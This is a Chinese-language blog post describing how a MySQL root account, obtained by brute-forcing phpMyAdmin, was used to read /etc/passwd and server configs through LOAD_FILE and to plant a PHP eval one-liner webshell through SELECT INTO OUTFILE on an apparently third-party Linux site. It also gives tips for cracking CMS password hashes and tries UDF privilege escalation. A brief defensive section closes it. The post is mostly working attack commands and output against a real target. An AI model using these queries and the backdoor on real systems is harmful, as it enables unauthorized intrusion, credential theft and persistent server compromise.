1. 程式人生 > >利用Mysql root帳號獲取某Linux作業系統網站webshell

利用Mysql root帳號獲取某Linux作業系統網站webshell

利用Mysql root帳號獲取某Linux作業系統網站webshell
simeon
獲取Webshell,網上有很多文章,本文是phpMyAdmin漏洞利用與防範專題中的一個研究課題,其主要環境是在有Mysql資料庫root帳號密碼許可權的基礎下,如何通過技術手段獲取Linux作業系統上建立的網站系統的webshell許可權。
1.漏洞利用思路
1.1Mysql root帳號密碼獲取思路
(1)通過程式碼洩露獲取網站原始碼中的資料庫配置檔案,從而獲取root帳號和密碼。
(2)暴力破解,可以通過不同的字典對單個IP或者多個URL進行暴力破解,有關這個技術的實現細節和案例,請參考專題文章《暴力破解phpMyAdmin root帳號密碼》。
(3)其它方式獲取。例如通過社工郵件帳號,在郵件中會儲存。
1.2獲取網站的真實路徑思路
(1)最直接獲取網站真實路勁的是通過phpinfo.php也即phpinfo()函式,在其頁面中會顯示網站的真實物理路徑。
(2)通過頁面出錯來獲取。有些程式碼檔案直接訪問時會報錯,其中會包含真實的物理路徑。
(3)通過mysql load_file函式讀取配置檔案。其中讀取非常有用的配置檔案總結如下:
SELECT LOAD_FILE(’/etc/passwd’ )
/etc/passwd檔案會提示網站的真實路徑,然後通過讀取網站預設的index.php等檔案來判斷是否是網站的真實目錄和檔案。
SELECT LOAD_FILE(’/etc/passwd’ )
SELECT LOAD_FILE(’/etc/issues’ )
SELECT LOAD_FILE(’/etc/etc/rc.local’ )
SELECT LOAD_FILE(’/usr/local/apache/conf/httpd.conf’ )
SELECT LOAD_FILE(’/etc/nginx/nginx.conf’ )
1.3獲取webshell思路
1.webshell直接通過mysql查詢匯出,常用的語句如下:
程式碼利用方式一:
CREATE TABLE mysql

.darkmoon (darkmoon1 TEXT NOT NULL );
INSERT INTO mysql.darkmoon (darkmoon1 ) VALUES (’<?php @eval($_POST[pass]);?>’);
SELECT darkmoon1 FROM darkmoon INTO OUTFILE ‘d:/www/antian365.php’;
DROP TABLE IF EXISTS darkmoon;
程式碼利用方式二:
select ‘<?php @eval($_POST[pass]);?>‘INTO OUTFILE ‘d:/www/antian365.php’
2.通過phpmyadmin線上檢視各CMS系統的管理員帳號,如果管理員密碼是加密的則需要進行解密。然後通過尋找管理後臺,利用可以獲取webshell的方法和漏洞來獲取。
技巧:
(1)dedecms系統的密碼有直接md5,也有20位的密碼,如果是20位的密碼則需要去掉密碼中的前3位和最後1位,然後對剩餘的值進行md5解密即可;
(2)phpcms v9版本的密碼需要加salt進行破解,需要選擇破解演算法md5(md5( p
a s s ) . pass).
salt)進行破解。
(3)Discuz!論壇帳號儲存在uc_member表中,其破解需要帶salt進行,其破解時是使用password:salt進行,例如a0513df9929afc972f024fa4e586e829:399793。
2.漏洞利用實戰
2.1獲取root密碼
通過暴力破解phpmyadmin工具獲取了某IP的root帳號密碼root,暴力破解有一定的侷限性,但也是攻擊的手段之一。
2.2掃描埠開放情況
使用Nmap對該IP地址進行全埠掃描,檢視埠開放情況。如圖1所示,開放了21、22、80和8080埠。22是ssh埠,80和8080可能是web埠,伺服器是linux作業系統。
在這裡插入圖片描述

圖1獲取埠開放資訊
2.3獲取真實路徑
2.3.1讀取配置檔案
使用獲取的root帳號和密碼通過phpMyAdmin登入mysql資料庫進行管理,如圖2所示,登入系統後,選擇選單上的“SQL”,在查詢框中輸入“SELECT LOAD_FILE(’/etc/passwd’ )”進行查詢。
在這裡插入圖片描述
圖2讀取配置檔案
在使用load_file函式讀取檔案內容時,在Windows環境中可能會顯示正常的檔案內容,在linux環境中顯示的是16進位制編碼,單擊選項對其進行設定,需要選擇“完整內容”、“顯示二進位制內容”、“顯示BLOB內容”、“以十六進位制顯示二進位制內容”,如圖3所示。
在這裡插入圖片描述
圖3設定顯示選項
選中查詢結果中的十六進位制程式碼,將其複製到記事本中並儲存,其內容如下:
726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a62696e3a783a313a313a62696e3a2f62696e3a2f7362696e2f6e6f6c6f67696e0a6461656d6f6e3a783a323a323a6461656d6f6e3a2f7362696e3a2f7362696e2f6e6f6c6f67696e0a61646d3a783a333a343a61646d3a2f7661722f61646d3a2f7362696e2f6e6f6c6f67696e0a6c703a783a343a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7362696e2f6e6f6c6f67696e0a73796e633a783a353a303a73796e633a2f7362696e3a2f62696e2f73796e630a73687574646f776e3a783a363a303a73687574646f776e3a2f7362696e3a2f7362696e2f73687574646f776e0a68616c743a783a373a303a68616c743a2f7362696e3a2f7362696e2f68616c740a6d61696c3a783a383a31323a6d61696c3a2f7661722f73706f6f6c2f6d61696c3a2f7362696e2f6e6f6c6f67696e0a757563703a783a31303a31343a757563703a2f7661722f73706f6f6c2f757563703a2f7362696e2f6e6f6c6f67696e0a6f70657261746f723a783a31313a303a6f70657261746f723a2f726f6f743a2f7362696e2f6e6f6c6f67696e0a67616d65733a783a31323a3130303a67616d65733a2f7573722f67616d65733a2f7362696e2f6e6f6c6f67696e0a676f706865723a783a31333a33303a676f706865723a2f7661722f676f706865723a2f7362696e2f6e6f6c6f67696e0a6674703a783a31343a35303a46545020557365723a2f7661722f6674703a2f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a39393a39393a4e6f626f64793a2f3a2f7362696e2f6e6f6c6f67696e0a646275733a783a38313a38313a53797374656d206d657373616765206275733a2f3a2f7362696e2f6e6f6c6f67696e0a766373613a783a36393a36393a7669727475616c20636f6e736f6c65206d656d6f7279206f776e65723a2f6465763a2f7362696e2f6e6f6c6f67696e0a616272743a783a3137333a3137333a3a2f6574632f616272743a2f7362696e2f6e6f6c6f67696e0a68616c6461656d6f6e3a783a36383a36383a48414c206461656d6f6e3a2f3a2f7362696e2f6e6f6c6f67696e0a6e74703a783a33383a33383a3a2f6574632f6e74703a2f7362696e2f6e6f6c6f67696e0a7361736c617574683a783a3439393a37363a225361736c61757468642075736572223a2f7661722f656d7074792f7361736c617574683a2f7362696e2f6e6f6c6f67696e0a706f73746669783a783a38393a38393a3a2f7661722f73706f6f6c2f706f73746669783a2f7362696e2f6e6f6c6f67696e0a737368643a783a37343a37343a50726976696c6567652d736570617261746564205353483a2f7661722f656d7074792f737368643a2f7362696e2f6e6f6c6f67696e0a74637064756d703a783a37323a37323a3a2f3a2f7362696e2f6e6f6c6f67696e0a6e7363643a783a32383a32383a4e534344204461656d6f6e3a2f3a2f7362696e2f6e6f6c6f67696e0a6e736c63643a783a36353a35353a4c44415020436c69656e7420557365723a2f3a2f7362696e2f6e6f6c6f67696e0a6e67696e783a783a3439383a3439373a4e67696e7820776562207365727665723a2f7661722f6c69622f6e67696e783a2f7362696e2f6e6f6c6f67696e0a6170616368653a783a34383a34383a4170616368653a2f7661722f7777773a2f7362696e2f6e6f6c6f67696e0a6d7973716c3a783a32373a32373a4d7953514c205365727665723a2f7661722f6c69622f6d7973716c3a2f62696e2f626173680a66747075736572313a783a3530303a3530303a3a2f686f6d652f66747075736572313a2f7362696e2f6e6f6c6f67696e0a66747075736572323a783a3530313a3530313a3a2f6d79646174613a2f7362696e2f6e6f6c6f67696e0a667470757365723a783a3530323a3530323a3a2f7573722f73686172652f6e67696e782f68746d6c3a2f7362696e2f6e6f6c6f67696e0a
使用NotePad將將以上程式碼全部選中,然後選擇外掛“Converter”-“HEX-ASCII”,如圖4所示。轉換後則會顯示正常的檔案內容,如圖5所示,顯示的是linux的配置檔案/etc/passwd的內容。

在這裡插入圖片描述
圖4轉換程式碼
在這裡插入圖片描述
圖5讀取etc/passwd檔案內容
將etc/passwd檔案的最後5行復制下來進行分析:
nginx❌498:497:Nginx web server:/var/lib/nginx:/sbin/nologin
apache❌48:48:Apache:/var/www:/sbin/nologin
mysql❌27:27:MySQL Server:/var/lib/mysql:/bin/bash
ftpuser1❌500:500::/home/ftpuser1:/sbin/nologin
ftpuser2❌501:501::/mydata:/sbin/nologin
ftpuser❌502:502::/usr/share/nginx/html:/sbin/nologin
在開始的時候,我分別讀取/var/www/index.php、/mydata/index.php和/usr/share/nginx/html/index.php讀取的內容都跟實際網站內容不一致,唯獨漏過了/home/ftpuser1/index.php,後面分別讀取了其nginx的配置檔案,還是沒有獲取真實路徑,後面經群裡兄弟提醒,其真實路徑就是/home/ftpuser1/目錄。
通過select load_file(’/home/ftpuser1/index.php’)讀取檔案內容,如圖6所示,成功獲取網站首頁程式碼內容找到真實目錄。
在這裡插入圖片描述
圖6讀取網站首頁程式碼內容
2.3.2獲取webshell
在SQL中執行查詢命令:
select ’<?php @eval($_POST[pass]);?> 'INTO OUTFILE ‘/home/ftpuser1/xxp.php’
查詢成功,成功將一句話後門寫入網站目錄/home/ftpuser1下,如圖7所示,Mysql查詢結果顯示為空,表示成功,如果無許可權,則會提示無法寫入檔案錯誤。
在這裡插入圖片描述
圖7寫入一句話後面到網站檔案
使用中國選單一句話後門管理工具,直接連線,成功獲取webshell,如圖8所示。
在這裡插入圖片描述
圖8成功獲取webshell
2.4伺服器提權
2.4.1獲取作業系統位數命令
(1)getconf LONG_BIT 值為32就是32位作業系統,值為64則表示為64位作業系統
(2)file /sbin/init 如下內容顯示為64位作業系統
/sbin/init: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped
2.4.2查詢外掛位置
select @@plugin_dir; 顯示結果為/usr/lib64/mysql/plugin,如圖9所示。
在這裡插入圖片描述
圖9獲取mysql外掛路徑
2.4.3上傳udf檔案
將sqlmap下對應版本的lib_mysqludf_sys.so_ 檔案上傳到/usr/lib64/mysql/plugin目錄,一般來說只有使用root許可權的mysql可以利用udf提權。在本例中由於/usr/lib64/mysql/plugin設定為root許可權,無法匯入系統。因此提權失敗。
3.防範方法
(1)使用phpinfo來檢視環境變數後,儘量在用後及時將其刪除,避免洩露真實路徑。
(2)使用Lamp架構安裝時,需要修改其預設root帳號對應的弱口令密碼root。以及admin/wdlinux.cn。
(3)LAMP集成了proftpd,預設使用者是nobody,密碼是lamp,安裝完成後也需要修改。
(4)如果不是經常使用或者必須使用phpMyadmin,則在安裝完成後可刪除。
(5)嚴格目錄寫許可權,除檔案上傳目錄允許寫許可權外,其它檔案及其目錄在完成配置後將其禁止寫許可權,並在上傳目錄去掉執行許可權。
更多攻防內容請歡迎訪問本人在csdn上面創造的個人專欄:
密碼安全攻防技術精講》:https://gitbook.cn/gitchat/column/5afbf24f753289354cab7983